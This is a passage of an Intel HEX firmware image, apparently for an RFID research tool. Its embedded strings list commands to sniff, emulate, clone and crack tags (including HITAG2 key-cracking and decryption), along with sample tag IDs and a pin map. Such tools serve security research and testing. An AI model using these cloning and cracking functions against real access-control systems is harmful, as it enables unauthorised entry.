22\n:10ea700000a0023cdc56422487004290060040146d\n:10ea800000000000029d023c0cf542242c8082af65\n:10ea9000b07a400b0000000000a0023cdc5642248b\n:10eaa000870042902118400000a0023c801803001b\n:10eab00018714224211062000000428c2c8082af29\n:10eac000d88083930100022411006214000000002a\n:10ead000029d023c3cec44243c00c58f2013410fb6\n:10eae000000000002c80828f029d033c3cec6424db\n:10eaf000212840002013410f00000000029d023c2d\n:10eb00003cec44244000c58f2013410f000000005e\n:10eb10002110000021e8c0038400bf8f8000be8f59\n:10eb20008800bd270800e00300000000d8ffbd27d3\n:10eb30002400bfaf2000beaf21f0a00388bf023c7d\n:10eb4000505240ac88bf023c105240ac88bf023cdf\n:10eb5000505040ac88bf033c8050629001000424b8\n:10eb60000400827c805062a0f88180af00a0023c4b\n:10eb7000dc8082afdc80828f3412033c78566334b1\n:10eb8000000043acef57410f000000001000c2af7f\n:10eb900088bf023c0030428c0003427cff004230c0\n:10eba0001c00c2af1c00c28f09004014000000000e\n:10ebb00088bf023c00100324083043ac88bf023ced\n:10ebc0000030428c00084230fcff4014000000007e\n:10ebd0001c00c28f1400c2af81bf023c30f240acb7\n:10ebe00081bf023c99aa033c5566633430f243acc2\n:10ebf00081bf023c6655033caa99633430f243acb2\n:10ec000081bf023c0100032418f643ac81bf023ce3\n:10ec100010f642241800c2af1800c28f0000428cc8\n:08ec2000087b400b000000001e\n:020000040000fa\n:020000041d01dc\n:10ec28004f6666004f6e00004c6f77004869676852\n:10ec380000000000257300000700000008200800fd\n:10ec480048454c502000000048454c50000000004a\n:10ec580020202020257300004e6f74653a20272a53\n:10ec6800272070726570656e64656420746f206d0e\n:10ec780061696e2070726f6d707420696e6469636b\n:10ec88006174657320756e736176656420636f6e59\n:10ec9800666967206368616e6765730d0a00000026\n:10eca800000000003e200000414e414c4f475545b2\n:10ecb800200000002564000053657420544147205b\n:10ecc800747970652066697273742100496e766183\n:10ecd8006c6964206e756d626572206f6620736161\n:10ece8006d706c6573210000414e414c4f4755458e\n:10ecf8004e2000004150445520000000415049007a\n:10ed080041534b2000000000257320256c6420250a\n:10ed1800752025750000000053656e6420666169e2\n:10ed28006c65642100000000496e76616c6964209e\n:10ed3800706172616d65746572732100415452008f\n:10ed48000d0a00004661696c65642100415554480c\n:10ed580000000000202573202575000025730d0a8a\n:10ed68000000000041757468206661696c65642163\n:10ed7800000000004155544f504f54004155544f26\n:10ed88005241544500000000547279696e6720288a\n:10ed9800666f72206265737420726573756c747324\n:10eda80020757365206e6f6e2d7a65726f205359ca\n:10edb8004e432062697473293a0d0a0044617461f4\n:10edc80020726174652069732052462f25640d0aec\n:10edd800000000004155544f52554e004155544fc4\n:10ede80052554e204f4646004155544f52554e20dd\n:10edf800000000004155544f5441470042494e54c9\n:10ee08004f48455820000000424c00005377697471\n:10ee18006368696e6720746f20424f4f544c4f41ae\n:10ee2800444552206d6f64652e2e2e0d0a0d0a0082\n:10ee3800434c4900434c4f434b482000256c660027\n:10ee4800434c4f434b50200025752025750000008a\n:10ee5800434c4f434b542000256c6400434c4f4ea9\n:10ee680045000000434f494c2048494748000000ee\n:10ee7800434f494c204c4f5700000000434f4e462b\n:10ee880049470000434f4e564552542000000000a9\n:10ee9800565461672074797065206e6f74207365ad\n:10eea80074210000434f50590000000025732025ad\n:10eeb8007300000044454255470000004445425550\n:10eec8004720000025690000496e76616c6964205e\n:10eed80044454255472070696e210000444542551b\n:10eee800474f4e200000000044454255474f4646d4\n:10eef800200000004976616c6964204c454421007b\n:10ef0800444554454354000057616974696e67204d\n:10ef1800666f722065787465726e616c20636c6fc1\n:10ef2800636b202868697420616e79206b6579208d\n:10ef3800746f2061626f7274292e2e2e0d0a0000e4\n:10ef4800444f4f5220434c4f53450000444f4f52bb\n:10ef5800204f50454e00000044554d502000000001\n:10ef6800496e76616c696420626c6f636b206e75a4\n:10ef78006d62657228732921000000005265616482\n:10ef8800206661696c6564210000000025643a20f0\n:10ef980000000000496e76616c696420626c6f63e2\n:10efa8006b206e756d626572287329210d0a000049\n:10efb800454d552000000000546167207479706544\n:10efc800206e6f742073657421000000454d554c08\n:10efd80041544f5200000000454d554c41544f528a\n:10efe800204247004372656174652076616c6964ec\n:10eff800205654414720666972737421000000004e\n:10f00800496e76616c69642055494421000000000e\n:10f01800454e434f44452000456e636f6465206646\n:10f0280061696c65642100005654414720656e6330\n:10f038006f6465206661696c656421004558414dbf\n:10f04800504c45530000000052415720456d756ce7\n:10f058006174696f6e206578616d706c65733a0dc7\n:10f068000a0000000d0a2020454d3458303220494e\n:10f0780044202730303030444334343230270d0aae\n:10f088000d0a000020202020534554204d414e20d9\n:10f098004f4e0d0a000000002020202041534b2035\n:10f0a80046463830303030364630393439343036e8\n:10f0b800203830302036342032300d0a000000006d\n:10f0c8000d0a2020556e6971756520494420273046\n:10f0d800444541444245454630270d0a0d0a000083\n:10f0e8002020202041534b20464644433041374599\n:10f0f80045454637383343302038303020363420c1\n:10f1080032300d0a000000000d0a20204849442032\n:10f1180050726f783236205369746520436f646586\n:10f12800203132332049442034353637380d0a0d22\n:10f138000a00000020202020534554204d414e2035\n:10f148004f46460d0a0000002020202046534b2041\n:10f15800314435353539353535353639414136411e\n:10f168003639363541364136203830302035302072\n:10f17800382031302032300d0a0000000d0a2020de\n:10f18800496e64616c612028656e6372797074657c\n:10f1980064293a0d0a0d0a002020202050534b31d3\n:10f1a8002030303030303030323541413941324210\n:10f1b80030373446313133413436343545323042d4\n:10f1c8003741373932423833314444334335384490\n:10f1d80032374137323742324220383030203332ea\n:10f1e80020322032300d0a000d0a0d0a2054414702\n:10f1f80020456d756c6174696f6e206578616d70fe\n:10f208006c65730d0a0000000d0a2020454d345826\n:10f218003032204944202741424344453132333477\n:10f2280035270d0a0d0a00002020202053455420c0\n:10f2380054414720454d345830320d0a0000000033\n:10f2480020202020454d552041424344453132334a\n:10f2580034350d0a000000000d0a2020556e697132\n:10f2680075652049442027303043414645463030b3\n:10f2780044270d0a0d0a0000202020205345542061\n:10f2880054414720554e495155450d0a000000008c\n:10f2980020202020454d55203030434146454630fa\n:10f2a80030440d0a000000000d0a2020484944207f\n:10f2b80050726f783236205369746520436f6465e5\n:10f2c800203235342049442030303636360d0a0d88\n:10f2d8000a00000020202020534554205441472094\n:10f2e80048494432360d0a0020202020454d55203b\n:10f2f80032353430303636360d0a00000d0a0d0a24\n:10f308002052574420636f6d6d616e64206578618b\n:10f318006d706c65730d0a00203d3d3d3d3d3d3de2\n:10f328003d3d3d3d3d3d3d3d3d3d3d3d3d0d0a00a5\n:10f338000d0a2020486974616732205354415254a1\n:10f348005f415554480d0a0d0a0000002020202076\n:10f3580050574d2038303020343030302034303061\n:10f368003020313820323620350d0a002020202068\n:10f378005257442031313030300d0a0046534b206b\n:10f3880000000000257320256c6420257520257554\n:10f39800202575202575000053656e64696e672009\n:10f3a800257320004652455155454e4359000000eb\n:10f3b80025640d0a00000000484558544f42494e44\n:10f3c800200000004849544147322d435241434be5\n:10f3d800200000005441472074797065206d7573d2\n:10f3e80074206265204849544147322100000000da\n:10f3f80072656164206572726f72210048495441d8\n:10f4080047322d4b455953545245414d2000000079\n:10f418004849544147322d52454144455200000065\n:10f4280053000000344634453444343934423532cc\n:10f43800000000004849544147322d434c45415291\n:10f4480053544f524544544147530000484954418e\n:10f4580047322d434f554e5453544f52454454410f\n:10f46800475300004849544147322d4c495354539f\n:10f47800544f5245445441475300000048495441b1\n:10f4880047322d524e47494e49542000484954416d\n:10f4980047322d444543525950544845582000009e\n:10f4a8004849544147322d444543525950544249e2\n:10f4b8004e2000004c45442000000000496e766153\n:10f4c8006c6964204c454421000000004c45444fc1\n:10f4d8004e2000004c45444f464620004c4f4144c6\n:10f4e800000000004c4f47494e0000004c6f676910\n:10f4f8006e206661696c65642100000050494e47c2\n:10f5080000000000524649446c657200504f545345\n:10f5180000000000504f5444454320002563202537\n:10f5280064000000504f542064656372656d656e19\n:10f5380074206661696c656421000000496e76611b\n:10f548006c696420706172616d6574657273000026\n:10f55800504f54494e432000504f5420696e6372f7\n:10f56800656d656e74206661696c656421000000d4\n:10f57800696e76616c696420706172616d6574652d\n:10f5880072730000504f545345542000504f54207c\n:10f59800736574206661696c65642100496e7661e3\n:10f5a8006c696420706172616d6574657221000018\n:10f5b800504f545345544e5620000000504f54535a\n:10f5c8004554562000000000256320256c66000085\n:10f5d80050534b3120000000257320256c642025f2\n:10f5e800752025752025750050574d200000000016\n:10f5f800257520257520257520257520257520253c\n:10f6080075202575202575005245414420000000cd\n:10f6180056546167206e6f7420636f6d70617469f2\n:10f62800626c6521000000005245414445520000cb\n:10f638005441472074797065206e6f742073657427\n:10f64800210000005245424f4f54000052544300dd\n:10f65800253032782f253032782f25303278202502\n:10f668003032783a253032783a2530327800000046\n:10f6780052574420000000004661696c65642120ef\n:10f6880050574d20706172616d6574657273206e9c\n:10f698006f7420736574206f7220696e76616c696f\n:10f6a80064206461746121005341564500000000e4\n:10f6b800566572696679206661696c656421000027\n:10f6c80053454c454354000053656c65637420668c\n:10f6d80061696c65642100005345542042495048d3\n:10f6e800415345204f46460053455420424950480f\n:10f6f800415345204f4e000053455420424954532e\n:10f708002000000025750000496e76616c69642050\n:10f718006461746120626974732100005345542048\n:10f7280046432000496e76616c6964204643207028\n:10f738006572696f6421000053455420494e56454f\n:10f748005254204f4646000053455420494e5645d2\n:10f758005254204f4e000000534554204d414e4313\n:10f76800484553544552204f4646000053455420bf\n:10f778004d414e43484553544552204f4e000000da\n:10f78800534554204d4f44200000000041534b0086\n:10f7980046534b0050534b3100000000556e6b6ec2\n:10f7a8006f776e206d6f64756c6174696f6e20730e\n:10f7b8006368656d652100005345542050534b2004\n:10f7c80000000000534554205241544520000000d9\n:10f7d800496e76616c696420646174612072617439\n:10f7e800652100005345542052455045415420009e\n:10f7f800496e76616c6964207265706574697469b4\n:10f808006f6e732100000000534554205355423059\n:10f818002000000053455420535542312000000079\n:10f828005345542053594e43424954532000000035\n:10f83800496e76616c6964206e756d626572206fc1\n:10f8480066206269747321005345542053594e430e\n:10f85800000000002575202558000000496e7661db\n:10f868006c69642073796e63206279746521000085\n:10f87800534554205441472000000000556e6b6edc\n:10f888006f776e205441472074797065210000001d\n:10f89800534554205654414720000000534e4946d2\n:10f8a8004645520048697420616e79206b6579205d\n:10f8b800746f2073746f7020736e69666665720d5d\n:10f8c8000a000000534e4946462d50574d2043002c\n:10f8d800534e4946462d50574d204c00534e4946ed\n:10f8e800462d50574d205300534e4946462d5057ec\n:10f8f8004d000000202564202564202564000000b8\n:10f9080057616974696e6720666f722050574d2081\n:10f918002868697420616e79206b657920746f207e\n:10f9280061626f72742f7265706f7274292e2e2e39\n:10f938000d0a000053544f50000000005441475333\n:10f948000000000054434f4e464947004e6f742054\n:10f95800737570706f7274656420666f7220746856\n:10f968006973207461672074797065210000000054\n:10f97800544553542d484954414700000d0a6265c7\n:10f988006e63686d61726b20262076657269667990\n:10f9980020486974616720322063727970746f201f\n:10f9a800696d706c656d656e746174696f6e000069\n:10f9b80050617373000000004641494c000000008c\n:10f9c8000d0a43727970746f2073656c66207465d4\n:10f9d8007374206f6620636f72726563746e6573eb\n:10f9e80073203d20257300000d0a48697461672063\n:10f9f800322063727970746f2c20696e6974202bc1\n:10fa08002067656e2033322062697473202d20755b\n:10fa1800733a20256c6400000d0a486974616720f8\n:10fa2800322063727970746f2c2067656e206e6562\n:10fa3800772033322062697473206f6e6c79202dc1\n:10fa48002075733a20256c64000000000d0a48698f\n:10fa580074616720322063727970746f2c20696e2c\n:10fa68006974202b2067656e2033322062697473b5\n:10fa78002c207831303030202d2075733a20256cb9\n:10fa8800640d0a00544553542d5257440000000099\n:10fa9800544553542d5343004154523a200000001a\n:10faa800544553542d534400544553542d54494df3\n:10fab80045520000544553542d57494547414e443b\n:10fac80000000000544553542d57494547414e44c2\n:10fad8002d52454144200000526561643a20257347\n:10fae8000d0a0000496e76616c6964206465627570\n:10faf800672070696e210000545245534554000038\n:10fb0800202573005772697465206661696c6564a5\n:10fb1800210000005452495354415445204f464651\n:10fb2800000000005452495354415445204f4e00a0\n:10fb38005457495045000000554944005645525312\n:10fb4800494f4e00253034642d6265746120286465\n:10fb580065627567290d0a00565441470000000088\n:10fb6800565752495445200025752025730000003a\n:10fb780056544147207772697465206661696c65df\n:10fb880064210000496e76616c696420626c6f6361\n:10fb98006b206e756d626572206f72206e6f2064c7\n:10fba8006174612100000000574952494e47000026\n:10fbb800574952455300000050494e530000000079\n:10fbc80020203d3d3d20574952494e473a20504953\n:10fbd8004333322050494333324d5837393546354f\n:10fbe80031324c203d3d3d0d0a0000002020504997\n:10fbf8004e204e554d424552202f204e414d452016\n:10fc0800202020202020202046554e4354494f4e86\n:10fc180020202020202020202020202020202020dc\n:10fc28005553450d0a00000020203d3d3d3d3d3d1a\n:10fc38003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dec\n:10fc48003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3ddc\n:10fc58003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0dfc\n:10fc68000a000000202031332020202020202020de\n:10fc78002020205f4d434c5220202020202020208f\n:10fc880052455345545f425554544f4e202020202e\n:10fc980020202020202020205265736574202f20ea\n:10fca8005650500d0a000000202035392020202011\n:10fcb80020202020202020524132202020202020d7\n:10fcc800202020204943204672657175656e63794e\n:10fcd80020494e2020202020202020204d656173bf\n:10fce80075726520496e64756374616e63652f4330\n:10fcf800617061636974616e63650d0a00000000dc\n:10fd08002020363020202020202020202020205293\n:10fd18004134202020202020202020204f522d490f\n:10fd28004e2d41202020202020202020202020206f\n:10fd3800202020204f75747075742066726f6d20b6\n:10fd48005363686d6974742074726967676572209b\n:10fd5800410d0a002020363120202020202020209c\n:10fd68002020205241352020202020202020202023\n:10fd78004f522d494e2d4220202020202020202087\n:10fd880020202020202020204f7574707574206654\n:10fd9800726f6d205363686d69747420747269673b\n:10fda80067657220420d0a00202036372020202067\n:10fdb80020202020202020524131352020202020c2\n:10fdc800202020204c4544362020202020202020a0\n:10fdd80020202020202020202020202055736572fc\n:10fde800204c45442057686974650d0a00000000de\n:10fdf800202036362020202020202020202020529d\n:10fe080041313420202020202020202052454c4100\n:10fe180059202020202020202020202020202020a1\n:10fe280020202020446f6f722052656c61790d0a82\n:10fe38000000000020203236202020202020202012\n:10fe48002020205242362f504743202020202020b7\n:10fe58005047432020202020202020202020202020\n:10fe6800202020202020202050726f6772616d2092\n:10fe7800436c6f636b0d0a0020203237202020204e\n:10fe8800202020202020205242372f504744322063\n:10fe980020202020504744322020202020202020cd\n:10fea80020202020202020202020202050726f6732\n:10feb80072616d204461746120320d0a00000000f7\n:10fec80020203333202020202020202020202052d2\n:10fed800423920202020202020202020532f43207a\n:10fee800564343202020202020202020202020208e\n:10fef8002020202049534f2d3738313620536d614b\n:10ff0800727463617264205643430d0a0000000056\n:10ff1800202033352020202020202020202020527f\n:10ff28004231312f414e313120202020416e616c09\n:10ff38006f67756520494e20202020202020202032\n:10ff48002020202052656164657220616e616c6fab\n:10ff580067756520646174610d0a000020203431e2\n:10ff68002020202020202020202020524231322f03\n:10ff7800414e313220202020416e616c6f677565db\n:10ff8800204c4f5720494e20202020202020202080\n:10ff9800566f6c7461676520646976696465722060\n:10ffa8004c4f5720616e616c6f6775652064617492\n:10ffb800610d0a002020343220202020202020201b\n:10ffc800202020524231332f414e3133202020202f\n:10ffd800416e616c6f677565204849474820494ef6\n:10ffe8002020202020202020566f6c746167652017\n:10fff80064697669646572204849474820616e6182\n:020000041d02db\n:100008006c6f67756520646174610d0a00000000fb\n:100018002020303620202020202020202020205280\n:1000280043312020202020202020202044454255f4\n:100038004731202020202020202020202020202080\n:10004800202020204c6f67696320416e616c7973b2\n:1000580065722044656275672050696e20310d0a0b\n:1000680000000000202030372020202020202020e1\n:100078002020205243322020202020202020202011\n:10008800444542554732202020202020202020208f\n:1000980020202020202020204c6f67696320416e9b\n:1000a800616c797365722044656275672050696e6a\n:1000b80020320d0a000000002020303820202020a7\n:1000c80020202020202020524333202020202020c0\n:1000d800202020204445425547332020202020203e\n:1000e8002020202020202020202020204c6f6769fd\n:1000f8006320416e616c797365722044656275672f\n:100108002050696e20330d0a00000000202030398d\n:1001180020202020202020202020205243342f532c\n:10012800444931202020202053445f434152445ffa\n:10013800525820202020202020202020202020204d\n:1001480053504920525820666f722053442043610f\n:1001580072640d0a00000000202037322020202081\n:10016800202020202020205244302f53444f31207b\n:100178002020202053445f434152445f545820209c\n:1001880020202020202020202020202053504920db\n:10019800545820666f7220534420436172640d0adc\n:1001a800000000002020373620202020202020209a\n:1001b80020202052443120202020202020202020d0\n:1001c800532f4320434c4b20202020202020202048\n:1001d800202020202020202049534f2d3738313629\n:1001e80020536d6172746361726420436c6f636b3a\n:1001f8000d0a000020203737202020202020202032\n:10020800202020524432202020202020202020207e\n:1002180057494547414e445f315f4f555420202090\n:10022800202020202020202057696567616e6420e7\n:1002380031202f20436c6f636b202620446174614a\n:10024800202d20436c6f636b204f55540d0a00001e\n:100258002020373820202020202020202020205235\n:1002680044332020202020202020202057494547a3\n:10027800414e445f305f4f555420202020202020dd\n:100288002020202057696567616e642030202f2068\n:10029800436c6f636b20262044617461202d2044d9\n:1002a800617461204f55540d0a0000002020383138\n:1002b80020202020202020202020205244342020cc\n:1002c80020202020202020205245414445522d4303\n:1002d8004c4f434b2020202020202020202020206d\n:1002e80052656164657220434f494c20434c4f432b\n:1002f8004b0d0a00202038322020202020202020ea\n:10030800202020524435202020202020202020207a\n:1003180057494547414e445f305f494e20202020d1\n:10032800202020202020202057696567616e6420e6\n:1003380030202f20436c6f636b202620446174614a\n:10034800202d204461746120494e0d0a00000000f0\n:100358002020383320202020202020202020205238\n:10036800443620202020202020202020574945479f\n:10037800414e445f315f494e20202020202020201c\n:100388002020202057696567616e642031202f2066\n:10039800436c6f636b2026204461746120202d20fc\n:1003a800436c6f636b20494e0d0a000020203638dd\n:1003b80020202020202020202020205244382020c7\n:1003c80020202020202020205245414445522d4401\n:1003d800415441202020202020202020202020209f\n:1003e80052656164657220434f494c204441544131\n:1003f8000d0a00002020363920202020202020202f\n:100408002020205244392f5f5353312020202020b0\n:1004180053445f434152445f5353202020202020ff\n:1004280020202020202020205350492053656c652f\n:10043800637420534420436172640d0a0000000075\n:10044800202037302020202020202020202020524b\n:100458004431302f53434b312020202053445f43f5\n:100468004152445f434c4b20202020202020202054\n:100478002020202053504920436c6f636b20666f07\n:100488007220534420436172640d0a0020203731e2\n:1004980020202020202020202020205244313120dc\n:1004a80020202020202020204c45443720202020b8\n:1004b8002020202020202020202020202020202034\n:1004c8004572726f72204c4544205265640d0a00d3\n:1004d80020203739202020202020202020202052b2\n:1004e800443132202020202020202020434c4f431c\n:1004f8004b2d534e494646202020202020202020e6\n:1005080020202020436c6f636b20536e6966660d54\n:100518000a0000002020343820202020202020201d\n:100528002020205244313520202020202020202047\n:100538005f504f545f53485554444f574e20202026\n:100548002020202020202020506f74656e74696f51\n:100558006d6574657220706f77657220636f6e7455\n:10056800726f6c0d0a0000002020393320202020f3\n:10057800202020202020205245302020202020200c\n:10058800202020204c4544342020202020202020da\n:10059800202020202020202020202020456d756c40\n:1005a800617465204c4544205265640d0a000000c2\n:1005b80020203934202020202020202020202052d4\n:1005c8004531202020202020202020204c45443365\n:1005d8002020202020202020202020202020202013\n:1005e80020202020436c6f636b204c4544205965c4\n:1005f8006c6c6f770d0a00002020393820202020ed\n:100608002020202020202052453220202020202079\n:10061800202020204c45443220202020202020204b\n:10062800202020202020202020202020436f6d6db6\n:1006380073204c45442057686974650d0a00000012\n:10064800202039392020202020202020202020523e\n:100658004533202020202020202020204c454431d4\n:100668002020202020202020202020202020202082\n:1006780020202020555342204c4544204772656570\n:100688006e0d0a002020303320202020202020203a\n:1006980020202052453520202020202020202020e6\n:1006a8004445425547342020202020202020202067\n:1006b80020202020202020204c6f67696320416e75\n:1006c800616c797365722044656275672050696e44\n:1006d80020340d0a00000000202030342020202083\n:1006e8002020202020202052453620202020202095\n:1006f80020202020555345525f425554544f4e20d8\n:1007080020202020202020202020202055736572c2\n:1007180020646566696e656420627574746f6e0d19\n:100728000a00000020203035202020202020202012\n:100738002020205245372020202020202020202043\n:10074800424f4f544c4f414445525f425554544fc9\n:100758004e20202020202020426f6f746c6f61642f\n:1007680065722073656c65637420627574746f6e4e\n:100778000d0a0000202031382020202020202020b1\n:1007880020202052453820202020202020202020f2\n:10079800532f432052535420202020202020202053\n:1007a800202020202020202049534f2d3738313653\n:1007b80020536d617274636172642052657365744d\n:1007c8000d0a000020203139202020202020202060\n:1007d80020202052453920202020202020202020a1\n:1007e8005245414445522d434c4f434b2d454e41b4\n:1007f800424c4520202020205472692d5374617486\n:100808006520636c6f636b2073656c6563740d0a98\n:100818000000000020203837202020202020202021\n:100828002020205246302020202020202020202058\n:1008380053445f434152445f4445542020202020c4\n:10084800202020202020202053442043617264204f\n:100858004465746563740d0a000000002020383870\n:100868002020202020202020202020524631202017\n:10087800202020202020202053445f434152445f01\n:1008880057502020202020202020202020202020f9\n:100898005344204361726420577269746520507212\n:1008a8006f746563742028756e75736564290d0a05\n:1008b8000000000020203532202020202020202089\n:1008c80020202052463220202020202020202020b6\n:1008d800532f432052582020202020202020202041\n:1008e800202020202020202049534f2d3738313612\n:1008f80020536d617274636172642052580d0a004e\n:100908002020353120202020202020202020205287\n:1009180046332f55534249442020202055534249fd\n:10092800442020202020202020202020202020209b\n:100938002020202055534249440d0a0020203439f4\n:1009480020202020202020202020205246342f53f1\n:1009580044493420202020205350493420494e2037\n:10096800202020202020202020202020202020207f\n:10097800506f74656e74696f6d657465722044613b\n:10098800746120494e0d0a00202035302020202097\n:10099800202020202020205246352f53444f342039\n:1009a8002020202053504934204f55542020202007\n:1009b800202020202020202020202020506f746517\n:1009c8006e74696f6d657465722044617461204f3f\n:1009d80055540d0a00000000202035332020202027\n:1009e800202020202020205246382020202020208f\n:1009f80020202020532f432054582020202020201e\n:100a080020202020202020202020202049534f2d46\n:100a18003738313620536d617274636172642054c3\n:100a2800580d0a00202034302020202020202020ab\n:100a3800202020524631322f5f535334202020206b\n:100a48005f5350493420534c4156452053454c453b\n:100a58004354202020202020506f74656e74696fe5\n:100a68006d657465722053656c6563740d0a0000ca\n:100a78002020333920202020202020202020205210\n:100a88004631332f53434b342020202053504934d0\n:100a980020434c4f434b2020202020202020202082\n:100aa80020202020506f74656e74696f6d657465c1\n:100ab8007220436c6f636b0d0a00000020203537ed\n:100ac80020202020202020202020205247322f4480\n:100ad8002b20202020202020442b202020202020d4\n:100ae80020202020202020202020202020202020fe\n:100af80055534220442b0d0a0000000020203536b3\n:100b080020202020202020202020205247332f443e\n:100b18002d20202020202020442d2020202020208f\n:100b280020202020202020202020202020202020bd\n:100b380055534220442d0d0a00000000202031307a\n:100b4800202020202020202020202052473620202e\n:100b580020202020202020204c4544352020202003\n:100b6800202020202020202020202020202020207d\n:100b780052656164204c454420477265656e0d0ad4\n:100b880000000000202031312020202020202020bb\n:100b98002020205247372f5533525820202020201c\n:100ba800434c49205541525433205258202020208c\n:100bb80020202020202020205541525420434c49f9\n:100bc8002f4150490d0a00002020313220202020da\n:100bd800202020202020205247382f5533545820d9\n:100be80020202020434c492055415254332054584a\n:100bf8002020202020202020202020205541525431\n:100c080020434c492f4150490d0a0000202031341f\n:100c1800202020202020202020202052473920205a\n:100c28002020202020202020456d756c6174696f7c\n:100c38006e20434f494c20202020202020202020b7\n:100c4800456d756c6174696f6e20434f494c0d0a90\n:100c580000000000202035342020202020202020e3\n:100c680020202056425553202020202020202020bc\n:100c7800564275732020202020202020202020206c\n:100c880020202020202020205553422056427573d2\n:100c98000d0a000057494547414e442d4c454152e5\n:100ca8004e00000057616974696e6720666f722094\n:100cb80065787465726e616c2057696567616e64ea\n:100cc80020726561646572202868697420616e7994\n:100cd800206b657920746f2061626f7274292e2ee3\n:100ce8002e0d0a0057494547414e442d4f55542073\n:100cf8004f46460057494547414e442d4f555420cd\n:100d08004f4e000057494547414e442d52454144f6\n:100d18000000000057494547414e442d5752495459\n:100d28004520000057696567616e642070617261d3\n:100d38006d6574657273206e6f742073657421001d\n:100d480057495045000000005752495445200000bb\n:100d58002a000000414e414c4f4755455b4e5d20ef\n:100d68003c23204f462053414d504c45533e2020b4\n:100d7800202020202020202020202020202020206b\n:100d8800202020202020202020202020202020205b\n:100d98002053616d706c652072617720636f696c98\n:100da80020285b4e5d6f206c6f63616c20636c6ff5\n:100db800636b292026206f757470757420696e2006\n:100dc800584d4c2028484558290d0a004150445593\n:100dd800203c434c412b494e532b50312b50325b16\n:100de8002b4c432b444154415d5b2b4c455d3e20cd\n:100df80020202020202020202020202020202020eb\n:100e08002020202020202020205472616e736d69dc\n:100e1800742028484558292049534f2d37383136f2\n:100e28002d34204150445520746f20536d617274e5\n:100e3800436172642e2052657475726e2069732046\n:100e48005b444154415d2b3c5357313e2b3c535737\n:100e5800323e0d0a00000000415049202020202089\n:100e6800202020202020202020202020202020207a\n:100e7800202020202020202020202020202020206a\n:100e8800202020202020202020202020202020205a\n:100e9800202020202053776974636820746f2041d4\n:100ea8005049206d6f64650d0a00000041534b20c6\n:100eb8003c484558205549443e203c46433e203c4a\n:100ec800524154453e203c5245504541543e202015\n:100ed800202020202020202020202020202020200a\n:100ee800202020202020202020456d756c6174650d\n:100ef8002041534b2c204669656c6420436c6f631a\n:100f08006b20696e2075532f3130302c204461746a\n:100f180061205261746520696e2052462f6e0d0a59\n:100f280000000000415452202020202020202020b2\n:100f380020202020202020202020202020202020a9\n:100f48002020202020202020202020202020202099\n:100f58002020202020202020202020202020202089\n:100f68002047657420416e7377657220546f205254\n:100f7800657365742066726f6d20536d617274437a\n:100f88006172640d0a00000041555448205b4845d1\n:100f980058204b45595d205b424c4f434b5d202008\n:100fa8002020202020202020202020202020202039\n:100fb8002020202020202020202020202020202029\n:100fc800202020202041757468656e7469636174ff\n:100fd8006520696e2043525950544f206d6f6465e7\n:100fe8000d0a00004155544f504f54202020202016\n:100ff80020202020202020202020202020202020e9\n:1010080020202020202020202020202020202020d8\n:1010180020202020202020202020202020202020c8\n:10102800204175746f2d4465746563742069646527\n:10103800616c20504f542073657474696e6728730f\n:10104800290d0a004155544f524154452020202073\n:101058002020202020202020202020202020202088\n:101068002020202020202020202020202020202078\n:101078002020202020202020202020202020202068\n:10108800204175746f2d44657465637420646174c0\n:101098006120726174650d0a000000004155544fcb\n:1010a80052554e205b4f4646207c20434f4d4d41c4\n:1010b8004e44205b415247535d5d20202020202074\n:1010c8002020202020202020202020202020202018\n:1010d8002020202020202020205365742f53686f63\n:1010e80077207374617274757020636f6d6d616eb3\n:1010f800640d0a004155544f5441472020202020b8\n:1011080020202020202020202020202020202020d7\n:1011180020202020202020202020202020202020c7\n:1011280020202020202020202020202020202020b7\n:10113800204175746f2d446574656374205441476c\n:1011480020747970650d0a0042494e544f4845583d\n:10115800203c42494e3e20202020202020202020d4\n:101168002020202020202020202020202020202077\n:101178002020202020202020202020202020202067\n:10118800202020202053686f772042494e41525931\n:101198002061732048455820737472696e670d0a80\n:1011a80000000000424c2020202020202020202069\n:1011b8002020202020202020202020202020202027\n:1011c8002020202020202020202020202020202017\n:1011d8002020202020202020202020202020202007\n:1011e800205265626f6f7420696e20424f4f544cd5\n:1011f8004f41444552206d6f64650d0a00000000a0\n:10120800434c49202020202020202020202020205e\n:1012180020202020202020202020202020202020c6\n:1012280020202020202020202020202020202020b6\n:1012380020202020202020202020202020537769d3\n:1012480074636820746f20434c49206d6f64650d8a\n:101258000a000000434f494c203c484947487c4c11\n:101268004f573e20202020202020202020202020f2\n:101278002020202020202020202020202020202066\n:101288002020202020202020202020202020202056\n:101298002053657420656d756c61746f7220636f7f\n:1012a800696c206f757470757420484947482f4cd5\n:1012b8004f570d0a00000000434f4e464947202073\n:1012c8002020202020202020202020202020202016\n:1012d8002020202020202020202020202020202006\n:1012e80020202020202020202020202020202020f6\n:1012f800202020202053686f772063757272656ef6\n:1013080074204e564d20636f6e6669670d0a0000a3\n:10131800434f4e56455254203c544147545950452a\n:101328003e20202020202020202020202020202097\n:1013380020202020202020202020202020202020a5\n:1013480020202020202020202020202020436f6ed5\n:1013580076657274205654414720746f2054414773\n:10136800545950450d0a0000434c4f434b48203c0c\n:10137800485a3e20202020202020202020202020e5\n:101388002020202020202020202020202020202055\n:101398002020202020202020202020202020202045\n:1013a8002020202020456e61626c6520482f572040\n:1013b800544f47474c4520434c4f434b20287469b2\n:1013c8006d696e677320696e20487a2c206d61788c\n:1013d800203235302c303030290d0a00434c4f4331\n:1013e8004b50203c50573e203c504552494f443ebc\n:1013f80020202020202020202020202020202020e5\n:1014080020202020202020202020202020202020d4\n:10141800202020202020202020456e61626c65203d\n:10142800482f572050574d20434c4f434b2028748a\n:10143800696d696e677320696e2075532f3130307e\n:101448002c206d61782035332c3638372c303931e3\n:10145800290d0a00434c4f434b54203c50455249f8\n:101468004f443e2020202020202020202020202003\n:101478002020202020202020202020202020202064\n:101488002020202020202020202020202020202054\n:1014980020456e61626c6520482f5720544f47479e\n:1014a8004c4520434c4f434b202874696d696e6747\n:1014b8007320696e2075532f3130302c206d617880\n:1014c8002035332c3638372c303931290d0a0000b5\n:1014d800434c4f4e45205b484558204b45597c505e\n:1014e80057445d202020202020202020202020205c\n:1014f80020202020202020202020202020202020e4\n:1015080020202020202020202020202020436f7011\n:1015180079205669727475616c2054414720746f44\n:101528002054414720286d61792072657175697270\n:101538006520617574682f6c6f67696e290d0a00e4\n:10154800434f5059205b544147545950455d205be7\n:10155800484558204b45597c5057445d2020202051\n:101568002020202020202020202020202020202073\n:1015780020202020202020202020202020436